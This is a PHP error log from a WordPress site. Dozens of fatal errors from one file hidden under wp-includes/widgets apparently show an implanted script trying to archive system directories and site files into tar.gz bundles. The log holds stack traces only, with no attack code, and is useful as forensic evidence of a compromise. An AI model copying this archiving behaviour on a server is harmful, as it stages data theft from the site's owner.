[06-Nov-2025 04:21:19 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/2944240" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:21:21 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/2938233" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:21:45 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/2911530): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:29:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_redirects.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:30:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/disable_policy.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:32:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/regen_max_retry.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:32:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fib_multipath_hash_fields.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:36:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_ra_pinfo.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:45:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jquery.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:48:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 04:51:51 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/lve/map" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:00:17 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803211841 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:16:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_smile.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:16:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jquery.color.min.js.color.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:16:54 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:16:54 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:18:01 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:21:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-backbone.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:21:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-emoji-loader.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:21:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-emoji.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:21:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-embed.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:21:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Jcrop.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:22:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-lists.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:24:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Memcache.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:31:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/twemoji.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:31:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jcrop.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:31:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/api-request.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:31:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/utils.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:31:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpdialog.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:32:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-list-revisions.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:32:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/swfobject.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:32:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-api.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:33:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/kdump.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:33:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/aml_w265s2_bt_uart.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:34:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/aml_w155s2_bt_uart.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:36:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/import.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:39:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 05:40:39 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:02:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:06:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fields.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:07:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/search.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:08:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:08:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/endpoints.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:12:22 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/var/lib/dav): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 [internal function]: RecursiveDirectoryIterator->getChildren()
#2 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#3 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:12:42 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/sys/fs/xfs/stats/stats" that is not in the base directory "/proc/fs" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
